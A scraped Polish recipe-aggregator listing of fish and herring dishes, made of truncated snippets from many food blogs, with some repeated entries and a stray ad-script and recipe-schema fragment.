domowym sosem tatarskim. Śledzie po Kołobrzesku Kapitan Navi przygotowałam wcześniej na grillu na arkuszu papieru do pieczenia. Dzięki temu zabiegowi z surowego śledzia w zalewie zrobisz pyszną pieczoną rybę, idealną do wielu dań. Ten sposób przygotowania nie powinien więc zaskakiwać! Śledzie po Kołobrzesku zdecydowanie warto kupić! Pyszne, wyraziste w smaku i bardzo mięsiste kawałki śledzia, cebulka, i zalewa na bazie

nietylkopasta.pl
Śledzie korzenne 36

tego. W sumie nawet nie chcę, w końcu bloga nie prowadzę jedynie dla siebie. Jeżeli chodzi o same śledzie, od razu się przyznam, że nie jestem wielką fanką tych ryb. Lubię jednak te, które są z owocami, świeżymi i suszonymi. Mamy więc tutaj śledzie z rodzynkami. Pyszne. Składniki: 3 solone filety śledziowe 1 czerwona cebula garść rodzynek 4 łyżki oleju

Kardamonovy
Sałatka z łososiem, pomarańczami i orzechami 30

rzepakowy extra virgin (można użyć oliwy) (przepis na 3 porcje) Łososia kroimy w dużą kostkę, doprawiamy imbirem i sosem sojowym, odstawiamy na 10 minut. Po tym czasie smażymy kawałki ryby (na zwykłym oleju rzepakowym) do zrumienienia ze wszystkich stron. Pomarańcze obieramy ze skóry, najlepiej nożem, w taki sposób żeby nie pozostała na nich biała błona. Później je filetujemy – wycinamy

Kardamonovy
Śledzie w sosie pomidorowym z powidłami śliwkowymi 30

pomidorowy i ocet. Tym razem dorzuciłam do podstawowych składników powidła śliwkowe domowej roboty i śladowe ilości cynamonu. Tak tak, cy-na-mo-nu. Pomidory i cynamon bardzo się lubią. Ryba, cynamon, święta, te sprawy. Wiecie o co chodzi. Składniki: 4 solone filety śledziowe 1 cebula puszka pomidorów 1 czubata łyżka powideł śliwkowych 1 łyżeczka octu winnego liść laurowy szczypta cynamonu

Kardamonovy
Tatar z łososia, mango i kolendry 30

coś naprawdę pysznego. Głównym bohaterem jest łosoś, za którym My się musiał trochę nachodzić. Moje plany co do potraw były zupełnie inne, ale że dostępne były tylko wędzone ryby… raczę Was czymś innym. I tak na pierwszy strzał idzie tatar. Drugi przepis postaram się opublikować jeszcze w ten weekend. Składniki: 50 g łososia wędzonego na zimno 1 dojrzałe mango

Kardamonovy
Śledzie w jogurcie z jabłkiem i groszkiem 27

Zapomniałam o tym przepisie zupełnie. Śledzie w jogurcie z cebulą i groszkiem zrobiłam przy okazji urodzin Bro. Zawsze w jego urodziny robię jakąś wersję tych ryb (bo lubi), w tym roku nie mogło być inaczej. Do wyboru miał właśnie te tytułowe i drugie – w chimichurri. Pierwsza propozycja smakowała mu bardziej, dlatego ją publikuję. Wiem, że to nienajlepsza pora

Kardamonovy
Pasta jajeczna z wędzoną makrelą i musztardą 32

Makrelę obieramy ze skóry i ości (bardzo dokładnie), rozdrabniamy widelcem w misce. Dodajemy do niej obrane jajka i te również rozdrabniamy widelcem. Pokrojoną drobno cebulę wrzucamy do jajek i ryby, dolewamy do tego jogurt, majonez i musztardę. Doprawiamy solą i świeżo zmielonym pieprzem, dokładnie mieszamy. Pasta pyszna jest właściwie od razu, nie trzeba jej odstawiać do przegryzienia się. Przed podaniem

Kardamonovy
Jajka faszerowane szprotkami 29

swoje ulubione zioła. Moja lodówka już świeci pustkami, dodałam więc do nich rzeżuchę, która już właściwie dogorywała. Najchętniej jednak dodałabym chyba natkę pietruszki, ona mi zawsze najlepiej uzupełnia smak ryb. Możecie też zaszaleć i wrzucić jednocześnie koperek, natkę i szczypiorek – też będzie w dechę. Będę się z Wami powoli żegnać, bo naprawdę mam dziś niewiele czasu. Jeszcze sobie wymyśliłam

Kardamonovy
Sałatka z pomarańczą i wędzonym łososiem 40

macie ochotę. Składników w tej sałatce nie jest jakoś zatrważająco dużo, ale wszystkie z nich są dość intensywne w smaku, dlatego to w niczym nie przeszkadza. Ryba jest mocno wyczuwalna, pomarańcze słodkie, cebula i musztarda też robią swoją robotę. Sałatka z pomarańczą i wędzonym łososiem poleca się nie tylko od święta. Korzystajcie teraz z cytrusowych dobrodziejstw, teraz jest ich czas

Kardamonovy
Sałatka z tuńczykiem, ryżem, kukurydzą i ogórkiem kiszonym 32

Albo z czarnym. Jeżeli chodzi o samego tuńczyka dobrze sprawdzi się i ten w oleju i ten w sosie własnym. Zioła jak zwykle dowolne. Ja zawsze byłam fanką łączenia ryb z natką pietruszki, więc u mnie wylądowała pietruszka. Koperek? A pewnie, czemu nie. Dymka/szczypiorek? Proszę bardzo. Możecie też zrobić sałatkę na bogato i wymieszać trzy rodzaje tych zielonych dobroci

Kardamonovy
Śledzie z suszonymi pomidorami, orzechami włoskimi i musztardą francuską 38

śledzi. Są tam te klasyczne, jak w śmietanie lub zupełnie od czapy z harissą, daktylami, z morwą. Ja chyba nie mam żadnych oporów jeżeli chodzi o takie kombinacje, do ryb pasuje mi prawie wszystko. Mam w planie w tym tygodniu zrobić jeszcze jedną porcję śledzi, może przepis pojawi się w przyszłym tygodniu, zobaczę co z tego wyjdzie. Ogólnie będzie

Kardamonovy
Pasta jajeczna ze szprotkami 32

gorąco Wam polecam). Co możecie dodać jeszcze do tej pasty? Nie musicie przecież ograniczać się jedynie do moich pomysłów. Pamiętajcie więc o koperku, który przecież bardzo lubi się z rybami i jajkami. Szczypiorek? No pewnie. Cebula – jak najbardziej. Czosnek, suszone pomidory, oliwki. Dajcie co chcecie. Dziś na tyle, zaraz lecę robić zdjęcia rosołu. Potem może zrobię sobie galaretę

Kardamonovy
Dorsz w sosie z suszonymi pomidorami 61

ostrą oraz tymiankiem. Dodaj suszone pomidory, po chwili – śmietankę. Delikatnie wymieszaj. W razie potrzeby dopraw do smaku. Patelnię zdejmij z ognia. Na talerz wyłóż ulubione dodatki i rybę. Do młodych ziemniaków idealnie będzie pasował koperek. Smacznego! Artykuł Dorsz w sosie z suszonymi pomidorami pochodzi z serwisu Moja Pasja Smaku

Moja pasja smaku
Ziemniaki z grilla nadziewane 66

nowych pomysłów na pyszne grillowe dania, nieco mniej klasycznych a bardziej nowoczesnych i pomysłowych. Mam dobre wieści, będę miała dla Was kilka naprawdę pysznych poleceń, dla osób, które lubią ryby i ciekawe smaki. Dziś pierwsza z nich – przepyszne ziemniaki pieczone z grilla nadziewane śledziem i dodatkami. Smak pieczonego ziemniaka z grilla zrobionego sposobem, który opisałam poniżej, jest nieziemski

nietylkopasta.pl
Pstrąg łososiowy z mozzarellą i pomidorami 51

filetów usuwamy skórę. Dzielimy na 4 części. Każdy filet solimy oraz pieprzymy. Układamy w naczyniu żaroodpornym. Wykładamy na filet bazylię. Pomidora oraz ser kroimy w plastry układamy na rybie. Wstawiamy do nagrzanego do 200 stopni piekarnika na ok 15 minut

Lena Gotuje
Śledź w śmietanie z ziemniakami. Prosty obiad w starym stylu, który bardzo lubię. PRZEPIS 82

małe cebule, 3 łyżki dobrego majonezu, 6 łyżek śmietany 18 proc., pół jabłka, 2 łyżki octu winnego, pieprz, do podania ugotowane ziemniaki. Śledź z ziemniakami. Przepis wideo: Przepisy na ryby Artykuł Śledź w śmietanie z ziemniakami. Prosty obiad w starym stylu, który bardzo lubię. PRZEPIS pochodzi z serwisu Kulinarna Polska | Przepisy, gotowanie, jedzenie

Kulinarna Polska
ŁOSOŚ Z DRESSINGIEM Z MANGO I AWOKADO 44

przez około 4-5 minut z każdej strony. Dopraw solą i pieprzem do smaku, dodaj resztę soku z cytryny pod koniec smażenia. Odstaw na kilka minut pod przykryciem. Podaj rybę polaną sosem ze smażenia, i sosem z mango, awokado i pomidorków koktajlowych, a także podpieczonym chlebem

Smaki Francji współczesna kuchnia francuska
Pasta kanapkowa z wędzonych szprotek 48

ziołami prowansalskimi. Pastę podaję na pieczywie. Może to być zarówno bagietka, pieczywo tostowe, chleb, bułki jak i krakersy. Jako, iż wędzone szprotki cechują się intensywnym, charakterystycznym dla wędzonych ryb smakiem oraz zapachem, pastę tą serwuję z dodatkiem marynowanej cebuli oraz kiełków. Te dwa małe dodatki fantastycznie komponują się ze smakiem tejże pasty i sprawiają, iż smakuje bardziej interesująco. Pasta kanapkowa

MeCooks
Łosoś z patelni w delikatnym sosie śmietanowym z soczystymi pomidorkami koktajlowymi 35

obłędnie pyszna kolacja? Zostawiam prosty przepis na łososia z patelni. Jeśli masz więcej czasu to wypróbuj też przepis na frytki z buraka i marchwi, jako warzywny dodatek do ryby. Pamiętaj też , żeby wybierać łososia o dobrej jakości, najlepiej z połowów zrównoważonych i wolnych od zanieczyszczeń *Więcej przepisów znajdziesz na Instagramie #eatmefitme Wykonanie Przygotuj filety łososia, usuwając ewentualne łuski i ości

Eat me! Fit me!
Łosoś po koreańsku dwa razy smarowany smakowitą marynatą. PRZEPIS 52

Piecz kolejne 12 minut. Po wyjęciu z piekarnika posyp uprażonym sezamem i szczypiorkiem.   Wyświetl ten post na Instagramie   Post udostępniony przez Kulinarna Polska (@kulinarna_polska) Przepisy na ryby Artykuł Łosoś po koreańsku dwa razy smarowany smakowitą marynatą. PRZEPIS pochodzi z serwisu Kulinarna Polska | Przepisy, gotowanie, jedzenie

Kulinarna Polska
Śledzie po włosku 42

filety \u015bledzi matjas\u00f3w,\r","6 suszonych pomidor\u00f3w,\r","1\/2 czerwonej cebuli,\r","suszona bazylia,\r","suszone oregano,\r","pieprz\r"],"name":"\u015aledzie po w\u0142osku","recipeCategory":"ryby, sa\u0142atki, Wielkanoc","cookTime":"PT0H0M","prepTime":"PT0H0M","recipeInstructions":["\u015aledzie i suszone pomidory pokroi\u0107 na kawa\u0142ki.\r","Cebulk\u0119 pokroi\u0107 drobno.\r","Wymiesza\u0107 wszystko z przyprawami

Bardzo Gruby Smok
Włoska sałatka z jajkiem 57

kroimy w ósemki. Miks sałat myjemy i dokładnie osuszamy np w wirówce do sałaty. Oliwki kroimy w plasterki. Tuńczyka otwieramy, bez odlewania zalewy za pomocą widelca rozdrabniamy delikatnie rybę. Na półmisku rozkładamy sałatę a na niej układamy po kolei wszystkie składniki. Wykładamy też tuńczyka razem z zalewą. Skrapiamy wszystko oliwą, octem, oprószamy solą i pieprzem. Artykuł Włoska sałatka z jajkiem

Dorota Smakuje
Śledzie po tatarsku 43

czasie postu. Zwłaszcza że tego rodzaju sałatki przyrządza się bardzo szybko, Nasz śledź po tatarsku w śmietanie , to danie, w którym na pierwszym planie króluje rzecz jasna ryba. Ale nie oznacza to, że pozostałe składniki nie mają tu nic do powiedzenia. Chrupiące ogórki konserwowe, świeża cebulka oraz dodatek marynowanych grzybków idealnie komponuje się z głównym składnikiem. Jeśli chodzi

Kuchnia Na Wypasie
Śledzie z jajem, czyli 5 propozycji rybnych dań wielkanocnych 48

Udekoruj koperkiem lub natką pietruszki. Śledzie w sałatce – Wielkanocna eksplozja smaków Sałatka ze śledziem to kolejne danie, którego nie może zabraknąć na wielkanocnym stole.  Łącząc subtelny słony smak ryby z ulubionymi warzywami, kwasowością ogórków kiszonych i kremową konsystencją majonezu, otrzymasz prawdziwą eksplozję smaków. Sałatka jarzynowa w tym wydaniu potrafi zaskoczyć różnorodnością składników, które idealnie się uzupełniają i wspólnie tworzą

Kuchnia MagdaLeny
Śledzie z jajem, czyli 5 propozycji rybnych dań wielkanocnych 48

Udekoruj koperkiem lub natką pietruszki. Śledzie w sałatce – Wielkanocna eksplozja smaków Sałatka ze śledziem to kolejne danie, którego nie może zabraknąć na wielkanocnym stole.  Łącząc subtelny słony smak ryby z ulubionymi warzywami, kwasowością ogórków kiszonych i kremową konsystencją majonezu, otrzymasz prawdziwą eksplozję smaków. Sałatka jarzynowa w tym wydaniu potrafi zaskoczyć różnorodnością składników, które idealnie się uzupełniają i wspólnie tworzą

Kuchnia MagdaLeny
Tarta z łososiem i warzywami 48

  Tarta z łososiem to świetny pomysł na pyszny obiad lub kolację.  Pyszne kruche ciasto, świeży łosoś i śmietanowo jajeczne nadzienie,  naprawdę to połączenie

magiczna kuchnia Kasi
Śledzie korzenne marynowane w winie z przyprawami. PRZEPIS 69

godzin. Po tym czasie śledzie odsącz na sitku, ponownie przełóż do miski. Dodaj drobno posiekaną cebulę, ułóż ciasno, skrop octem, zalej olejem, odstaw jeszcze na kila godzin. Przepisy na ryby Artykuł Śledzie korzenne marynowane w winie z przyprawami. PRZEPIS pochodzi z serwisu Kulinarna Polska | Przepisy, gotowanie, jedzenie

Kulinarna Polska
Belona pieczona z kaszą gryczaną podana 47

Ryba pokrojona na duże kawałki i pieczona wraz z przyprawami i cytryną a następnie podana z kaszą gryczaną i pieczarkami. BELONA PIECZONA SKŁADNIKI świeża belona o wadze około 500 gramów; 300 gramów malutkich pieczarek; 150 gramów niepalonej kaszy gryczanej; świeży tymianek; 1 cytryna; mąka pszenna; masło; sól, pieprz; przepis na belonę pieczoną Artykuł Belona pieczona z kaszą gryczaną podana pochodzi

Kuchnia Tomka
Klopsy rybne w sosie koperkowym 46

Ugotowana i zmielona ryba połączona w jednolitą masę z ryżem oraz przyprawami, a następnie gotowana w formie klopsów. KLOPSY RYBNE SKŁADNIKI 1 duża świeża belona lub makrela; 50 gramów ryżu; jarzyna, jak do rosołu; liście laurowe, ziele angielskie; mleko; szafran; mielona kurkuma; harissa; masło; mąka pszenna; duży pęczek koperku; gęsta, kwaśna śmietana; sól, pieprz; przepis... Artykuł Klopsy rybne w sosie

Kuchnia Tomka
Pasta jajeczna ze szprotkami 67

gorąco Wam polecam). Co możecie dodać jeszcze do tej pasty? Nie musicie przecież ograniczać się jedynie do moich pomysłów. Pamiętajcie więc o koperku, który przecież bardzo lubi się z rybami i jajkami. Szczypiorek? No pewnie. Cebula – jak najbardziej. Czosnek, suszone pomidory, oliwki. Dajcie co chcecie. Dziś na tyle, zaraz lecę robić zdjęcia rosołu. Potem może zrobię sobie galaretę

Kardamonovy
Pstrąg z piekarnika pieczony z warzywami 39

Świeża ryba pieczona razem ze świeżą papryką, ziemniakami i brokułami. PSTRĄG Z PIEKARNIKA SKŁADNIKI świeży pstrąg o wadze 450 gramów; 4 limonki i/lub cytryna; 1 żółta papryka; czerwona papryka; różyczki brokuła; kilkanaście małych ziemniaczków sałatkowych; natka pietruszki; masło; sól morska; pieprz; przepis na pstrąga pieczonego z warzywami Artykuł Pstrąg z piekarnika pieczony z warzywami pochodzi z serwisu Kuchnia Tomka

Kuchnia Tomka
Paluszki rybne w cieście z mąki żytniej 43

Małe kawałki ryby panierowane w cieście z mąki żytniej z dodatkiem otrębów żytnich, a następnie krótko smażone. PALUSZKI RYBNE W CIEŚCIE SKŁADNIKI polędwiczki z dorsza lub łupacza o łącznej wadze 450 gramów; 2 wiejskie jajka; mąka żytnia razowa typ 2000; otręby żytnie; sól, pieprz; przepis na paluszki rybne w cieście z mąki żytniej Artykuł Paluszki rybne w cieście z mąki

Kuchnia Tomka
Rybki z grilla przekąska idealna 50

RYBKI Z GRILLA SKŁADNIKI kilogram niedużych świeżych ryb (płotki, okonie rzeczne) gałązki świeżego rozmarynu lub inne świeże zioła oliwa extra vergine sól morska przepis na rybki z grilla przekąska Artykuł Rybki z grilla przekąska idealna pochodzi z serwisu Kuchnia Tomka

Kuchnia Tomka
Karp w sosie cebulowym. Będzie idealny na święta. PRZEPIS 261

Ryba najpierw jest usmażona, następnie krótko zapieczona w bardzo smakowitym sosie. Przepis, który świetnie sprawdzi się podczas świąt. Przepis na karpia w sosie cebulowym Składniki: 1 filet z karpia o wadze około 600 gramów, 3 duże cebule , pół szklanki białego wina, 2 łyżeczki musztardy francuskiej, łyżka posiekanej natki pietruszki, mąka pszenna, olej pół na pół z masłem, sól, pieprz

Kulinarna Polska
Tatar z wędzonego łososia 53

Doskonała propozycja na święta, sylwestra, karnawał... Mojego tatara z łososia przygotowuję na bazie dwóch rodzajów tej ryby  - wędzonej na ciepło i na zimno. Dzięki temu ma niepowtarzalny smak i przyjemną strukturę. Doprawiam sokiem z cytryny, kaparami, cebulką i ogórkami konserwowymi. Na koniec majonez - ja lubię dodać go sporo, ale można także pominąć ten element.  Składniki: 250 g łososia

Kulinarne Inspiracje
SMAŻONE DZWONKA Z KARPIA, MARYNOWANE W CEBULI + FILMIK 58

Karp marynowany i smażony jest bardzo smaczny, nie czuć go mułem a raczej smaczną rybą. Marynata pozbawiła go niepotrzebnego zapachu a uwydatniła smak mięsa rybiego. Przepis uznaję za rewelacyjny, polecam go również państwu.  SKŁADNIKI :   1 duży karp  2 duże cebule sól i pieprz do smaku  sok z połówki cytryny  bułka tarta i mąka do panierowania

Kulinarne Fantazje Marioli
Przepisy na śledzie – 9 pomysłów 41

może po prostu masz ochotę na słoną przekąskę? Te przepisy na śledzie z pewnością ci się przydadzą. Poniżej znajdziesz 9 różnych pomysłów na przygotowanie prostych przekąsek z tych ryb. Ich zrobienie nie wymaga żadnych specjalnych umiejętności, ani szczególnie wymyślnych składników. Jestem pewna, że każdy znajdzie tutaj coś dla siebie – począwszy od miłośników tradycyjnych smaków, a skończywszy na fanach nieoczywistych

okolicepalnika.pl
Śledzie z suszonymi pomidorami, orzechami włoskimi i musztardą francuską 154

śledzi. Są tam te klasyczne, jak w śmietanie lub zupełnie od czapy z harissą, daktylami, z morwą. Ja chyba nie mam żadnych oporów jeżeli chodzi o takie kombinacje, do ryb pasuje mi prawie wszystko. Mam w planie w tym tygodniu zrobić jeszcze jedną porcję śledzi, może przepis pojawi się w przyszłym tygodniu, zobaczę co z tego wyjdzie. Ogólnie będzie

Kardamonovy
Śledzie w oleju w pomarańczach. 65

skończą Ci się składniki, na wierzchu powinna znajdować się cebula. Całość zalej olejem. Słój wstaw do lodówki na minimum 24 godziny. Wigilia obfituje w dania, którą główną rolę grają ryby . Na tym stole nie może zabraknąć też śledzia . Dlatego przedstawiam Wam inną odsłonę śledzi w oleju z dodatkiem cebuli i plasterków pomarańczy . Śledź idealnie przyprawiony i znakomicie się sprawdzi jako

Zdrowy Styl Joanny
Śledzie gajowego 178

godzin zwykle zmieniając wodę po kilku godzinach. Co ciekawe, śledzie będą delikatniejsze jeżeli wodę zastąpisz mlekiem lub wodą gazowaną. Pamiętaj, że w każdym przypadku płyn, w którym moczysz ryby powinien być zimny. if (typeof CeneoAPOptions == "undefined" || CeneoAPOptions == null) { var CeneoAPOptions = new Array(); stamp = parseInt(new Date().getTime()/86400, 10); var script = document.createElement("script"); script.setAttribute("type", "text/javascript"); script.setAttribute("src", "//partnerzyapi.ceneo.pl/External/ap.js?"+stamp

okolicepalnika.pl
Łosoś w śmietanowo - pomidorowym sosie 60

porcje - u mnie 8 sztuk. Posypujemy solą i pieprzem, Smażymy na mocno rozgrzanej patelni z dodatkiem masła po około 3 minut z każdej strony - w zależności od grubości ryby. Zdejmujemy z patelni. Na tę samą dodajemy pokrojonego w pół plastry pora oraz w paski paprykę - solimy. Smażymy na średnim ogniu pod przykryciem przez około 10 minut co jakiś czas mieszając

Lena Gotuje
pstrąg pieczony w marynacie ziołowej... 54

papryką i piec w nagrzanym piekarniku na 180C na termoobiegu około 30-35 minut, podawać z czym się lubi - świeży pstrąg jest bardzo smaczny, delikatny, soczysty, marynata ziołowa nadaje rybie ciekawego smaku........SMACZNEGO

W Mojej Kuchni Lubię
Śledzie w sosie z porem i jabłkiem. Przepis na bardzo smaczną sałatkę śledziową 77

śledziach zazwyczaj zostaje jeszcze całkiem dużo soli, dlatego nie dodajemy jej do sałatki. Jeśli jednak po przegryzieniu okaże się, że wymaga ona doprawienia, oczywiście można to zrobić. Przepisy na ryby Artykuł Śledzie w sosie z porem i jabłkiem. Przepis na bardzo smaczną sałatkę śledziową pochodzi z serwisu Kulinarna Polska | Przepisy, gotowanie, jedzenie

Kulinarna Polska
Tatar ze śledzia 59

bazuje na marynowanych składnikach, gdyż zarówno sam śledź jak i dodatki takie jak grzyby czy kapary są z marynaty. Po odlaniu marynat ze wszystkich składników i dokładnym ich osączeniu, rybę kroję w małą, ale nie mikroskopijną kostkę. Podobnie robię z grzybami, które również kroję w kostkę, jednak nieco mniejszą niż ta, w którą kroję śledzie. Dodatkowo, czerwoną cebulę przed połączeniem

MeCooks
Leczo rybne 38

cebuli i chwilę podsmażamy.Bulion mieszamy z przecierem i ketchupem.Dodajemy do warzyw.Doprawiamy do smaku solą ,pieprzem i cukrem.Całość dusimy pod przykryciem ok 20 minut.Po tym czasie dodajemy rybę i jeszcze chwilę gotujemy. Artykuł Leczo rybne pochodzi z serwisu Olcia Gotuje

Olcia gotuje!
dorsz czarny w sosie pomidorowo-paprykowym... 58

czosnek niedźwiedzi 1 łyżka Świeże, duże filety dorsza czarnego opłukać pod zimną wodą, osuszyć ręcznikiem papierowym i pokroić na mniejsze kawałki. Mąkę wymieszać z tartą bułką, kucharkiem, pieprzem, kawałki ryby obtaczać w panierce i kłaść na gorący olej na patelni, smażyć na rumiano z każdej strony, usmażone odkładać do miski. Pomidory, paprykę, cebulę opłukać i obrać, pomidory ze skórką pokroić

W Mojej Kuchni Lubię
Orientalna potrawka z rybą 118

mała cebula pędy bambusa z zalewy garść grzybów mun 1 puszka krojonych pomidorów 1/2 czerwonej papryki 150 g ryżu garść orzeszków … Czytaj dalej Orientalna potrawka z rybą

czarrna od kuchni
Pasta kanapkowa z łososiem 49

jajka zalać zimną wodą. Gdy ostygną obierać je dokładnie ze skorupek. 2. Ugotowane i obrane jajka przekroić na pół i przełożyć do miski od blendera. Z łososia zdjąć skórkę. Rybę przełożyć do jajek. Dodać dwie czubate łyżki majonezu oraz łyżeczkę chrzanu. Doprawić solą oraz świeżo zmielonym pieprzem. Całość zmiksować do uzyskania gładkiej, jednolitej konsystencji. Pastę spróbować jeśli jest konieczność doprawić

Gotuj z Prezesem
Chrupiące filety z flądry 49

Chrupiące filety z flądry to pyszne, wakacyjne danie. Flądra należy do ryb flądrokształtnych i charakteryzuje się spłaszczoną, niesymetryczną budową. Spodnia … Przeczytaj cały artykuł Artykuł Chrupiące <span>filety z flądry</span> pochodzi z serwisu My Blueberry Corner

My Blueberry Corner
Łosoś z warzywami na patelni. Wystarczy kwadrans i pyszny obiad z rybą gotowy. PRZEPIS 75

delikatnie wymieszaj i od razu podawaj. Rada: do tak przygotowanej potrawy jako dodatek świetnie pasuje ugotowany ryż. Artykuł Łosoś z warzywami na patelni. Wystarczy kwadrans i pyszny obiad z rybą gotowy. PRZEPIS pochodzi z serwisu Kulinarna Polska | Przepisy, gotowanie, jedzenie

Kulinarna Polska
Fasola z czosnkiem, cytryną i konserwą rybną 49

osączoną z zalewy białą fasolę, skórkę z cytryny, posiekaną natkę pietruszki i czosnek. Doprawić do smaku solą i pieprzem.  Podgrzaną fasolę przełożyć na talerz, na wierzchu ułożyć kawałki ryby z konserwy, skropić sokiem z cytryny i posypać sezamem. Oto kilka innych szybkich przepisów na obiad, które mogą Ci się spodobać: Hawajski kurczak z ananasem>>> Makaron

Moja Książka Kucharska
Flądra w ziołowo-czosnkowej panierce 120

cytryny i posypuję solą. Odstawiam. W jednej misce roztrzepuję jajka i śmietanę z przeciśniętymi ząbkami czosnku. W drugiej mieszam mąkę z ziołami. Na patelni rozgrzewam olej. Filety z ryby zanurzam najpierw w jajku, a następnie w mące z ziołami. Smażę na patelni z obu stron na złoty kolor. Nadmiar tłuszczu odsączam na papierowych ręcznikach. Smacznego

Saganek
Łosoś miodowo-czosnkowy 60

ilość oleju, włożyć łososia skórą do dołu i smażyć ok. 4 min. następnie odwrócić na drugą stronę i smażyć kolejne ok. 4 minuty, aż powierzchnia będzie złota (jeżeli kawałki ryby są wysokie można dodatkowo smażyć na każdym boku po ok. 1 min.) Na patelnię dodać czosnek obrany i przeciśnięty przez praskę. Smażyć krótką chwilę, aby się nie spalił, a następnie

ememe kitchen
Kurczak słodko kwaśny 56

szwagra”, który dał mi ulotkę z knajpy z azjatycką kuchnią i mówi -zrób to – 😉. Sam termin słodko kwaśny obejmuje wiele stylów, technik, gotowania i marynowania, mięs, ryb i warzyw, w zależności, z jakiego regionu pochodzą. Jak to często bywa z kuchnią chińską, czy też azjatycką ma on bardzo, ale to bardzo długą historię. Pierwsze wzmianki o daniach słodko

RafalCook
Potrawka z dorsza 112

Składniki: 200 g fileta z dorsza 100 g mrożonego groszku 150 g mrożonych brokułów 1/2 pora 1/2 papryki 2-3 łyżki jogurtu naturalnego 1 łyżeczka pasty curry przyprawa do ryb sól, … Czytaj dalej Potrawka z dorsza

czarrna od kuchni
Gdzie zjeść w Międzyzdrojach 2022 71

uwędzoną makrelę, genialne krewetki wędzone ( nie przeciągnięte, lekko doprawione .. ach ) . Naprawdę szczerze polecamy !   Genialna zupa rybna :     czy bułka ze śledziem :   A do tego te wszystkie ryby wędzone i krewetki przez nich wędzone to złoto !!     Ach, pisząc to czuję te smaki, ten zapach w powietrzu i szczerze wrócę tam tylko jak będę mogła.   Gdzie

Kuchnia na wzgórzu
Sałatka makaronowa z łososiem wędzonym, rukolą i zieloną fasolką 70

obiadu – są tak sycące, że spokojnie jemy taki zimny obiad, od czasu do czasu. Ważne jest aby w takiej sałatce, oprócz makaronu, było coś treściwego – mięso albo ryba, i dużo duuużo warzyw. Ta sałatka jest idealna – łączy w sobie wszystkie te aspekty. Znajdziemy w nim pysznego wędzonego łososia oraz aż 3 rodzaje zielonych warzyw – fasolkę, groszek

Smaczna Strona
Szpinakowe naleśniki z wędzonym łososiem i ogórkiem 79

się podczas wysiłku psychicznego i fizycznego w szkole. Po takim daniu Wasza pociecha na pewno będzie najedzona a przy tym pełna energii do dalszej nauki. Dla pociech, które za rybami nie przepadają polecamy pieczoną pierś kurczaka zamiast wędzonego łososia. Całe szczęście moja grupa dzieci na warsztatach jest wszystkożerna a przy tym kochają gotować! :) Składniki: 200 g świeżego szpinaku

Mango Papaja
Sałatka z tuńczykiem, ryżem, kukurydzą i ogórkiem kiszonym 66

Albo z czarnym. Jeżeli chodzi o samego tuńczyka dobrze sprawdzi się i ten w oleju i ten w sosie własnym. Zioła jak zwykle dowolne. Ja zawsze byłam fanką łączenia ryb z natką pietruszki, więc u mnie wylądowała pietruszka. Koperek? A pewnie, czemu nie. Dymka/szczypiorek? Proszę bardzo. Możecie też zrobić sałatkę na bogato i wymieszać trzy rodzaje tych zielonych dobroci

Kardamonovy
Kostka z dorsza w sosie jogurtowym 114

Składniki: 3 kostki dorsza czarniaka 1 mały por kawałek papryki 1 jogurt naturalny 1 ząbek czosnku 1 mini papryczka chili suszona jarzynka pieprz przyprawa do ryb Przygotowanie: Pora posiekać, paprykę … Czytaj dalej Kostka z dorsza w sosie jogurtowym

czarrna od kuchni
Łosoś na parze z warzywami i szpinakiem 111

Składniki 2 kawałki łososia ze skórą 1 brokuł 250 g szpinaku 3 ząbki czosnku przyprawa do ryb sól, pieprz sos: 1 jogurt naturalny 2-3 ząbki czosnku 1 łyżka posiekanego koperku … Czytaj dalej Łosoś na parze z warzywami i szpinakiem

czarrna od kuchni
Grillowany łosoś z dzikim ryżem 116

Łososia zgrilluj z każdej strony na patelni grillowej (lub zwykłej). Na talerzach rozłóż ryż wymieszany z 1 łyżką przygotowanego dressingu. Dodaj sałatę, plasterki ogórka i rzodkiewki oraz grillowanego łososia. Rybę oraz sałatkę polej dressingiem. Opcjonalnie posyp szczypiorkiem i sezamem

Delicious Place
Ziołowa ryba z kaszą bulgur 121

czarniaka gałązka estragonu 1 mała cebulka oliwa sól i pieprz kasza z warzywami: 1 szklanka kaszy bulgur 1 słoik domowych krojonych pomidorów (0,5l) … Czytaj dalej Ziołowa ryba z kaszą bulgur

czarrna od kuchni
Dieta o niskim indeksie glikemicznym – dlaczego warto ją stosować? 81

naszą uwagę zasługuje też pożywienie, które klasyfikowane jest do grupy produktów o zerowej wartości IG: ser żółty, oleje roślinne, czarna herbata bez dodatku cukru, jaja, masło, kwaśna śmietana, ryby, m.in. dorsz i łosoś, owoce morza, wieprzowina, drób, cielęcina, wołowina. The post Dieta o niskim indeksie glikemicznym – dlaczego warto ją stosować? appeared first on Zdrowy Styl Życia Joanny

Zdrowy Styl Joanny
Pstrąg tęczowy w marynacie czosnkowej 48

Pyszna i prosta ryba. Tańsza niż płat łososia, a równie przyjemna do zrobienia i skonsumowania Polecam! Co nam trzeba? 2 płaty pstrąga tęczowego. 50ml oliwy z oliwek, 4 ząbki czosnku, po pół płaskiej łyżeczki soli i pieprzu czarnego i odrobina ziół prowansalskich (nie są one konieczne) 2 czubate łyżki ziaren słonecznika Robimy! Płaty myjemy, osuszamy. Czosnek obieramy, siekamy drobno

Latosiowydom
Tatar z wędzonej makreli z ogórkiem kiszonym i cebulą, czyli szybka i prosta sałatka na kolację wigilijną prosto z Podlasia 93

drobną kostkę i przełóż na cedzak. Oczyść makrelę z ości – najłatwiej będzie Ci, gdy otworzysz ją wzdłuż kręgosłupa i wyjmując kawałek po kawałku odrzucisz ości a mięso ryby przekładać będziesz do miseczki. Cebulę posiekaj jak najdrobniej. Do miseczki z makrelą bez ości wrzuć cebulę i pokrojone w kostkę ogórki. Dodaj łyżkę oleju, pieprz i szczyptę soli. Całość wymieszaj. Jeśli

Eat me! Fit me!
Sałatka z pomarańczą i wędzonym łososiem 69

macie ochotę. Składników w tej sałatce nie jest jakoś zatrważająco dużo, ale wszystkie z nich są dość intensywne w smaku, dlatego to w niczym nie przeszkadza. Ryba jest mocno wyczuwalna, pomarańcze słodkie, cebula i musztarda też robią swoją robotę. Sałatka z pomarańczą i wędzonym łososiem poleca się nie tylko od święta. Korzystajcie teraz z cytrusowych dobrodziejstw, teraz jest ich czas

Kardamonovy
Łosoś w cieście francuskim 81

